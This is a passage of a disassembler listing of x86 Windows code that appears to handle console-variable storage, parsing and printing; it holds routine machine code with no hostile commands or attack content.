		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+18h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40B170	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2821DA2h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_6	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
